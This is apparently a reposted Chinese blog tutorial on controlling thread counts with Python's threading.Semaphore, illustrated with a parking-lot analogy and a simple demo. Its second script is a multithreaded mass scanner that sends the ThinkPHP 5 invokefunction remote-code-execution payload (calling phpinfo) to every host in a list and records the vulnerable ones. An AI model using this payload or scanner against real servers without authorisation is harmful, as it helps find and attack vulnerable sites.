python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python open读写文件实现脚本
Sep 06 Python
Python回调函数用法实例详解
Jul 02 Python
Python基于动态规划算法计算单词距离
Jul 25 Python
Python+微信接口实现运维报警
Aug 27 Python
Python selenium 三种等待方式详解(必会)
Sep 15 Python
Python中字典的浅拷贝与深拷贝用法实例分析
Jan 02 Python
解决安装tensorflow遇到无法卸载numpy 1.8.0rc1的问题
Jun 13 Python
python实现趣味图片字符化
Apr 30 Python
Django自定义用户登录认证示例代码
Jun 30 Python
anaconda中更改python版本的方法步骤
Jul 14 Python
基于TensorFlow中自定义梯度的2种方式
Feb 04 Python
python爬虫--selenium模块
Mar 31 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
PHP中函数内引用全局变量的方法
2008/10/20 PHP
php session 预定义数组
2009/03/16 PHP
php删除与复制文件夹及其文件夹下所有文件的实现代码
2013/01/23 PHP
开启PHP Static 关键字之旅模式
2015/11/13 PHP
php $_SESSION会员登录实例分享
2021/01/19 PHP
PHP给前端返回一个JSON对象的实例讲解
2018/05/31 PHP
php 与 nginx 的处理方式及nginx与php-fpm通信的两种方式
2018/09/28 PHP
yii2.0框架使用 beforeAction 防非法登陆的方法分析
2019/09/11 PHP
用javascript作一个通用向导说明
2011/08/30 Javascript
JS多物体 任意值 链式 缓冲运动
2012/08/10 Javascript
鼠标焦点离开文本框时验证的js代码
2013/07/19 Javascript
JS正则表达式获取分组内容的方法详解
2013/11/15 Javascript
javascript实现控制的多级下拉菜单
2015/07/05 Javascript
JavaScrip调试技巧之断点调试
2015/10/22 Javascript
js简单网速测试方法完整实例
2015/12/15 Javascript
JavaScript知识点总结(四)之逻辑OR运算符详解
2016/05/31 Javascript
JavaScript易错知识点整理
2016/12/05 Javascript
微信小程序实现传参数的几种方法示例
2018/01/10 Javascript
JS中Promise函数then的奥秘探究
2018/07/30 Javascript
Puppeteer环境搭建的详细步骤
2018/09/21 Javascript
JavaScript canvas实现文字时钟
2021/01/10 Javascript
Python是编译运行的验证方法
2015/01/30 Python
python实现决策树C4.5算法详解(在ID3基础上改进)
2017/05/31 Python
python字典操作实例详解
2017/11/16 Python
用Python实现KNN分类算法
2017/12/22 Python
Python cookbook(数据结构与算法)从字典中提取子集的方法示例
2018/03/22 Python
Python facenet进行人脸识别测试过程解析
2019/08/16 Python
pytorch torchvision.ImageFolder的用法介绍
2020/02/20 Python
使用pytorch实现论文中的unet网络
2020/06/24 Python
HTML5 Canvas 起步(2) - 路径
2009/05/12 HTML / CSS
俄罗斯达美乐比萨外送服务:Domino’s Pizza
2020/12/18 全球购物
Linux开机引导的步骤是什么
2015/10/19 面试题
投标承诺函格式
2015/01/21 职场文书
项目经理助理岗位职责
2015/04/13 职场文书
《这片土地是神圣的》教学反思
2016/02/16 职场文书
一篇文章告诉你如何实现Vue前端分页和后端分页
2022/02/18 Vue.js